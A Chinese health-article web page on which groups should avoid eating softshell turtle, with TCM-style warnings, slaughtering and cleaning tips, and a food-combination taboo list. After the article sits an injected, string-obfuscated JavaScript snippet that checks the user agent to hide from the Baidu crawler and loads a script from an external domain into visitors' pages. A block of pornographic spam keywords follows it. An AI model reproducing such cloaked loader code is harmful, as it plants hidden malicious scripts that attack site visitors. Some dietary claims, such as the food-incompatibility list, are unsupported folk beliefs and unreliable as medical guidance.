當前位置:首頁 > 飲食 > 健康飲食 > 正文

什么樣的人不能吃甲魚

2016-03-16 17:42:31  來源:360常識網   熱度:
導語:甲魚是高蛋白食品,常吃可以提高免疫力。但甲魚并非人人都可以食用,那么哪些人不能吃甲魚呢?下面小編為您介紹甲魚的不適用人群。

什么樣的人不能吃甲魚

什么樣的人不能吃甲魚

甲魚又稱團魚、水魚、元魚,它其實并不是魚類,而是鱉科動物。從中醫食療的角度來說,甲魚性味甘平,入肝脾經,具有養陰涼血、清熱散結、補腎益腎的作用。

現代醫學也證明,甲魚是高蛋白食品,每百克甲魚含蛋白質17.3克、還含有維生素A,可以明顯提高血漿蛋白濃度和機體免疫功能,這與中醫所謂的“甲魚大補”是一致的。因此,在結核病、腫瘤、心腦血管病等慢性消耗性疾病的食療中,甲魚都有“尊貴”的地位。

但是食用甲魚也有禁忌,并不是人人都可食用。哪些人不能吃甲魚呢?

哪些人不能吃甲魚?

1、肝炎患者由于胃黏膜水腫,小腸絨毛變粗變短,膽汁分泌失調等因素,消化吸收機能大大減弱。而甲魚含有很豐富的蛋白質,病人食后不僅難以吸收,反而會加重肝臟負擔,嚴重時肝細胞還會大量壞死,血清膽紅素劇增,血漿濃度升高,誘發肝昏迷。

2、失眠、孕婦及產后泄瀉也不宜食用。雖然它具有滋陰益腎的功效,但是甲魚性味咸寒,有著較強的通血絡、散瘀塊作用,因而有一定墮胎之弊,尤其是鱉甲的墮胎之力比鱉肉更強。

3、腸胃功能虛弱、消化不良的人應慎吃。尤其是患有腸胃炎、胃潰瘍、膽囊炎等消化系統疾病患者不宜食用。脾胃虛弱的人,更不能多吃,否則往往使入不思飲食,肚腹脹滿,甚至引起腹瀉。

4、幼兒要少食甲魚。甲魚屬于高蛋白質滋補品,兒童脾胃嬌嫩,在食用時則有可能導致孩子消化不良,加重脾胃的負擔,因此要少食。

由于甲魚有一定“涼性”,因此腹滿厭食、大便溏泄、脾胃虛寒者不宜吃;有水腫、高脂血癥的人也不宜吃。即便體質適合,也不要多吃久吃,要防止“滋膩厚脾”——也就是補養太過,影響正常的消化功能,身體反而無法吸收這些營養。

甲魚必須鮮宰活殺

死甲魚不能吃。因為甲魚肉含有較多的組氨酸,組氨酸是具有特殊鮮味的重要成分,它分解后可以產生組氨。組氨是一種強烈的直管擴張劑,它可以引起一系列過敏物質的釋放,濃度過高時,可以引起人體虛脫,休克等癥狀。死后的甲魚肉能自行分解產生組氨,人吃了死甲魚,就會引起食物中毒。

因此甲魚必須鮮宰活殺。鑒別活甲魚的鮮活程度,可將甲魚仰翻在案上。能夠迅速翻身的甲魚質量最佳,反之則稍次。

甲魚買回來后把肚子朝上,它頭伸出來后剁下,沿甲殼切開,去除那些內臟,黃色或白色的脂肪(甲魚內脂肪黃色為佳),洗的時候注意甲魚的腿里有黃色的或者是白色的脂肪塊,一定要清理干凈,然后用開水把甲魚燙一下,用鋼絲球把甲魚蓋子上的臟東西擦干凈。

甲魚肉的腥味較難除掉,光靠洗或加蔥、姜、酒等調料,都不能達到令人滿意的效果;在宰殺甲魚時,從甲魚的內臟中撿出膽囊,取出膽汁,待將甲魚洗滌后,將甲魚膽汁加些水,涂抹于甲魚全身;稍待片刻,用清水漂洗干凈,甲魚膽汁不苦,不用擔心會使甲魚肉變苦。

甲魚的吃法很多,可以清蒸,可以燉湯,滋味鮮美。但甲魚富含蛋白質和脂肪,特別是它的邊緣肉裙部分還含有動物膠質,不容易消化吸收。如果一次吃得太多,容易敗胃,影響消化功能。

甲魚不宜與桃子、莧萊、雞蛋、豬肉、兔肉、薄荷、芹菜、鴨蛋、鴨肉、芥末、雞肉、黃鱔、蟹一同食用。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
久久亚洲国产精品五月天婷| 狠狠色香婷婷久久亚洲精品| 国产色无码精品视频国产| 久久精品成人免费观看| 国产大片91精品免费看3| 乱色精品无码一区二区国产盗| 日韩精品无码永久免费网站| 2022国产精品自产拍在线观看| 精品国产一区二区三区久久| 精品理论片一区二区三区| av国内精品久久久久影院| 久久精品亚洲视频| aaaaaa精品视频在线观看| 精品伊人久久大香线蕉网站| 久久精品国产亚洲av麻豆蜜芽| 在线涩涩免费观看国产精品| 动漫精品专区一区二区三区不卡| 国产精品密蕾丝视频| 少妇人妻偷人精品无码视频新浪 | 国产精品videossexohd| 久久久一本精品99久久精品88| 国内精品久久久久影院网站| 国产精品国三级国产aⅴ| 精品久久久久久久久免费影院| 亚洲国产综合精品中文第一区| 精品97国产免费人成视频| 国产精品亚洲精品日韩电影| 国产99久久久国产精品小说| 亚洲欧洲国产精品久久| 久久精品影院永久网址| 亚洲精品自产拍在线观看| 精品久久久久久无码人妻热| 国产精品免费视频网站| 精品国产电影久久九九| 最新亚洲精品国偷自产在线| 国产精品1区2区| 2021国产精品一区二区在线| 无码精品久久久久久人妻中字| 久久精品国产精品亚洲精品| 窝窝午夜看片国产精品人体宴| 久久久WWW免费人成精品|